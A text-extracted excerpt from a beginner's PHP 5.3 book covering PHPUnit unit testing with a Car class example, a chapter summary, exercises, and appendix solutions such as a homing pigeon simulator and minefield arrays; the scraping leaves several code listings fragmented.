Because testing a single unit of code is more straightforward than testing an entire application, it ’ s

usually possible to automate unit tests, and this is where PHPUnit comes in

Trang 25

PHPUnit is a framework for automated unit testing You can use it to write tests in PHP to test each unit

of your application, then run the tests automatically and see the results

To install PHPUnit, you use the PEAR installer (see Chapter 15 for more on PEAR) Because PHPUnit is not in the standard PEAR channels, you first need to run (possibly as root or an admin user):

pear channel-discover pear.phpunit.de

You should then see:

Adding Channel “pear.phpunit.de” succeededDiscovery of channel “pear.phpunit.de” succeeded

Now install PHPUnit as follows (again as root if necessary):

pear install alldeps phpunit/PHPUnit

Try It Out Write a Simple PHPUnit Test Suite

Now that you’ve installed PHPUnit, try writing some simple tests In this example you test a few methods of the Car class created in the car_simulator.php script in Chapter 8 (and reprised in the

“Documenting Your Code” section earlier in this chapter)

Save the following script as car_tests.php in your document root folder:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>

<head>

<title>Car Test Suite Example</title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

require_once( “PHPUnit/TextUI/TestRunner.php” );

class Car { public $color;

public $manufacturer;

public $model;

private $_speed = 0;

public function accelerate() {

if ( $this->_speed >= 100 ) return false;

$this->_speed += 10;

Trang 26

return true;

}

public function brake() {

if ( $this->_speed <= 0 ) return false;

$testSuite = new PHPUnit_Framework_TestSuite();

$testSuite->addTest( new CarTest( “testInitialSpeedIsZero” ) );

$testSuite->addTest( new CarTest( “testAccelerate” ) );

$testSuite->addTest( new CarTest( “testMaxSpeed” ) );

Trang 27

Now run the script in your Web browser If all goes well you should see a page similar to Figure 20-3, indicating that all of the tests passed.

Figure 20-3

How It Works

The script starts by displaying an XHTML page header and including two PHPUnit library files:

❑ PHPUnit/Framework.php is the main PHPUnit framework library Including this file loads all of the classes required for creating tests

❑ PHPUnit/TextUI/TestRunner.php provides the PHPUnit_TextUI_TestRunner class, which runs the tests in a test suite and displays the results

The main part of the script contains three sections: the class to be tested (Car), a test case class containing the tests to run (CarTest), and procedural code to run the tests CarTest inherits from the

PHPUnit_Framework_TestCase class, which is used to create test cases to be run by PHPUnit

In a real-world situation, you would often have your test case class in a separate file from the class you’re testing Your test file would then use include() to include the class file to test.

This simple test case comprises just three test methods:

❑ testInitialSpeedIsZero() makes sure that the speed reported by a newly created Car

object is zero

❑ testAccelerate() accelerates a stationary car, then checks that the new speed is 10 miles per hour

❑ testMaxSpeed() accelerates a car up to its maximum speed (100 miles per hour), then checks that

it can’t be accelerated furtherEach method creates a new Car class, performs the appropriate action (such as accelerating the car), and tests the outcome The testing is done by calling PHPUnit_Framework_TestCase::

assertEquals(), which checks that two values match (if they don’t, the test fails) Other commonly

Trang 28

Assertion Method Test Succeeds If

assertGreaterThanOrEqual( $a, $b ) $b is greater than or equal to $a

assertLessThanOrEqual( $a, $b ) $b is less than or equal to $a

For all assertion methods, you can include an explanatory message as a string (usually as the last

argument) If the test fails, this message is displayed or logged This can help to identify failed tests

when working with large test cases For example:

$this->assertEquals( 0, $car->getSpeed(), “Car’s initial speed is not 0”

);

Once the Car and CarTest classes have been defined, the script creates a new test suite (that is, a bunch

of tests), adds the three tests to the suite, and runs the suite:

$testSuite = new PHPUnit_Framework_TestSuite();

$testSuite->addTest( new CarTest( “testInitialSpeedIsZero” ) );

$testSuite->addTest( new CarTest( “testAccelerate” ) );

$testSuite->addTest( new CarTest( “testMaxSpeed” ) );

PHPUnit_TextUI_TestRunner::run( $testSuite );

This example has merely scratched the surface of PHPUnit It is a powerful framework, allowing you to

do advanced things such as:

Create self-contained environments specifically for testing database code

Use simulated objects to test that methods are being called correctly within your application

Generate code coverage reports that list any lines of code in your application that aren’t being tested

Creating unit tests with PHPUnit might seem like a lot of work, but it can save you time in the long

run For example, once you’ve written a test case, you can run it against your application each time

you develop a new version of your code to make sure the code still works as expected (this is known

as regression testing) As ever, a good place to start learning about PHPUnit is the documentation,

available online at http://www.phpunit.de/wiki/Documentation

Trang 29

Summar y

In this chapter you looked at a wide range of techniques that help you write better code High - quality code is important because it ’ s quicker and easier for you (and others) to maintain; it ’ s more robust in the way it handles problems and errors; and it ’ s more secure against attacks from unscrupulous users You explored the following topics:

How to write modular code: This involves splitting your code into small, easy - to - maintain

chunks that can often be reused by different applications You briefly revisited functions and classes, looked at PHP ’ s include() , require() , include_once() , and require_once() functions that let you split your application across different script files, and took a quick look at using namespaces to avoid clashing function, method, and constant names across code modules

How to create and use coding standards: Coding standards help you write consistently

formatted, readable code that ’ s easier to maintain You looked at some of the conventions used

in PHP and other languages

Creating code documentation: You learned why comments and code documentation are an

integral part of well - written applications, and studied how to write good comments and use phpDocumentor to generate documentation

Application security: This important, often - overlooked aspect of Web programming is a critical

part of any robust application You looked at how to check and filter user input to ensure its integrity, as well as how to encode or escape your application ’ s output to ensure that it contains only safe data

Error handling: For your application to behave as reliably as possible, it needs to handle

problems gracefully You saw how to use PHP ’ s error handling and logging functions to deal with errors, and how to use the power of exception classes to create flexible, robust error handling code

Separating application and presentation code: You looked at how to move your presentation

markup into separate template files, thereby creating a clean division between your application ’ s business logic and its visual interface Doing this makes your application code much easier to work with, both for designers and for programmers

Unit testing: You learned about the benefits of code testing in general, and unit testing in

particular Testing code early and often saves a lot of headaches further down the line You looked briefly at PHPUnit, a testing framework that lets you easily write your own automated unit tests

Having read all the chapters in this book, you know how to write not just PHP code, but good PHP code Creating high - quality code requires time, effort, and discipline, but it results in robust applications that are easy to maintain and extend Anyone who works on your code — including yourself — will thank you for it! Now that you understand the concepts involved in writing high - quality code, try the following two exercises to test your skills at creating error handlers and working with PHPUnit You can find the solutions to these exercises in Appendix A

Hopefully you have found this beginner ’ s guide to PHP 5.3 useful and enjoyable Good luck with creating your Web applications, and have fun!

Trang 30

Exer cises

1 Write an error handler, myErrorHandler() , that emails any E_WARNING or E_USER_WARNING

messages to your email address, and logs other errors in a non_serious_errors.log file Test

your handler with code that generates both an E_USER_WARNING and an E_USER_NOTICE error

2 Create a PHPUnit test case that tests all aspects of the Circle class defined in inheritance.php

in Chapter 8

Trang 31

< !DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd” >

< html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en” >

< head >

< title > Hello < /title >

< link rel=”stylesheet” type=”text/css” href=”common.css” / >

< /head >

< body >

< h1 >

< ?php // Get the current time in a readable format

$currentTime = date( “g:i:s a” );

// Get the current date in a readable format

$currentDate = date( “M j, Y” );

// Display greeting, time and date to the visitorecho “Hello, world! The current time is $currentTime on $currentDate”;

? < /h1 >

< /body >

< /html >

Trang 32

echo “Test 1 result: “ ($x == $y) “ < br / >

echo “Test 2 result: “ ($x > $y) “ < br / >

echo “Test 3 result: “ ($x < = $y) “ < br / >

echo “Test 4 result: “ ($x != $y) “ < br / >

?

Chapter 4

Exercise 1 Solution

You could write this script many ways The following solution creates a for loop to count the numbers, then

uses the ? (ternary) operator and a switch construct to determine if each number is odd, even, or prime

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>

<head>

<title>Testing the Numbers 1-10</title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

Trang 33

</tr>

<?php

for ( $i = 1; $i <= 10; $i++ ) { $oddEven = ( $i % 2 == 0 ) ? “Even” : “Odd”;

switch ( $i ) { case 2:

home base, and the second do while loop should exit when both pigeons have flown home Therefore

the loop conditions and decisions within the script need to be a bit more complex:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>

<head>

<title>Homing Pigeons Simulator</title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

<style type=”text/css”>

div.map { float: left; text-align: center; border: 1px solid #666;

background-color: #fcfcfc; margin: 5px; padding: 1em; } span.home, span.pigeon { font-weight: bold; } span.empty { color: #666; }

</style>

</head>

<body>

Trang 34

$mapSize = 10;

// Position the home and the pigeons

do {

$homeX = rand ( 0, $mapSize-1 );

$homeY = rand ( 0, $mapSize-1 );

$pigeon1X = rand ( 0, $mapSize-1 );

$pigeon1Y = rand ( 0, $mapSize-1 );

$pigeon2X = rand ( 0, $mapSize-1 );

$pigeon2Y = rand ( 0, $mapSize-1 );

} while ( ( ( abs( $homeX - $pigeon1X ) < $mapSize/2 ) && ( abs( $homeY - $pigeon1Y )

< $mapSize/2 ) ) || ( ( abs( $homeX - $pigeon2X ) < $mapSize/2 ) && ( abs( $homeY

// Display the current map

echo ‘<div class=”map” style=”width: ‘ $mapSize ‘em;”><pre>’;

Trang 35

for ( $y = 0; $y < $mapSize; $y++ ) {

for ( $x = 0; $x < $mapSize; $x++ ) {

if ( $x == $homeX && $y == $homeY ) { echo ‘<span class=”home”>+</span>’; // Home } elseif ( ( $x == $pigeon1X && $y == $pigeon1Y ) || ( $x == $pigeon2X &&

$y == $pigeon2Y ) ) { echo ‘<span class=”pigeon”>%</span>’; // Pigeon } else {

echo ‘<span class=”empty”>.</span>’; // Empty square }

Trang 36

Exercise 2 Solution

To emulate str_pad() in its most basic form, all you need to do is use a while loop to keep adding

spaces to the right of the string until the desired length is reached To display the results, make sure you

surround the strings in HTML < pre > < /pre > tags so that you can see the padding Here ’ s an

echo “<pre>Original string: ‘$myString’</pre>”;

while ( strlen( $myString ) < 20 ) {

The solution to this exercise is relatively simple, but it contains some important concepts:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>

<head>

<title>Adding Author Names</title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

</head>

<body>

<h1>Adding Author Names</h1>

<?php

Trang 37

$authors = array( “Steinbeck”, “Kafka”, “Tolkien”, “Dickens”, “Milton”, “Orwell” );

array(

“title” => “The Grapes of Wrath”, “authorId” => 0,

“pubYear” => 1939 ),

array(

“title” => “A Tale of Two Cities”, “authorId” => 3,

“pubYear” => 1859 ),

array(

“title” => “Paradise Lost”, “authorId” => 4,

“pubYear” => 1667 ),

array(

“title” => “Animal Farm”, “authorId” => 5,

“pubYear” => 1945 ),

array(

“title” => “The Trial”, “authorId” => 1, “pubYear” => 1925 ),

Trang 38

First of all, the script displays an XHTML page header, then it defines the two arrays as specified in the

exercise The main action happens within the ensuing foreach loop:

foreach ( $books as & $book ) {

$book[“authorName”] = $authors[$book[“authorId”]];

}

This code loops through each of the six elements in the $books array, assigning each element to the

variable $book by reference It does this by placing an ampersand ( & ) before the $book variable name in

the foreach statement It ’ s important to assign by reference because the code within the loop needs to

modify the contents of the $book element If the ampersand was missing, the code would be working on

a copy of each element, leaving the $books array untouched

The line of code within the loop gets the value of the “authorId” element within the current associative

array contained in the $book variable:

Trang 39

[pubYear] => 1859 [authorName] => Dickens )

[3] => Array ( [title] => Paradise Lost [authorId] => 4

[pubYear] => 1667 [authorName] => Milton )

[4] => Array ( [title] => Animal Farm [authorId] => 5 [pubYear] => 1945 [authorName] => Orwell )

[5] => Array ( [title] => The Trial [authorId] => 1 [pubYear] => 1925 [authorName] => Kafka )

Trang 40

// Initialize the minefield

// Add the mines

for ( $i=1; $i<=$numMines; $i++ ) {

First the script outputs a page header and sets some configuration variables: $fieldSize to hold the size

of one side of the minefield grid, and $numMines to specify the number of mines to be placed in the field

Next the script creates a new array, $minefield, and loops through all 20 elements of the array For each

element, it creates a nested array and stores it in the element, then loops through the first 20 elements of

the nested array, setting their values to false, which signifies an empty square (This initialization

process isn ’ t strictly necessary because PHP creates arrays on - the-fly as they ’ re needed; however, it ’ s a

good idea to initialize the minefield to default values so that you know exactly what ’ s in the minefield.)

After initializing the field, the script adds the mines It does this by creating a loop that counts from 1 to

the number of mines to create ($numMines) Within the loop, the script generates a random x and y

position for the new mine, and uses a do while loop to ensure that the position chosen doesn ’ t

already contain a mine If it does, the do while loop continues with a new random position until an

empty spot is found It then creates the mine by setting the appropriate array element to true

Ngày đăng: 09/08/2014, 14:21

TỪ KHÓA LIÊN QUAN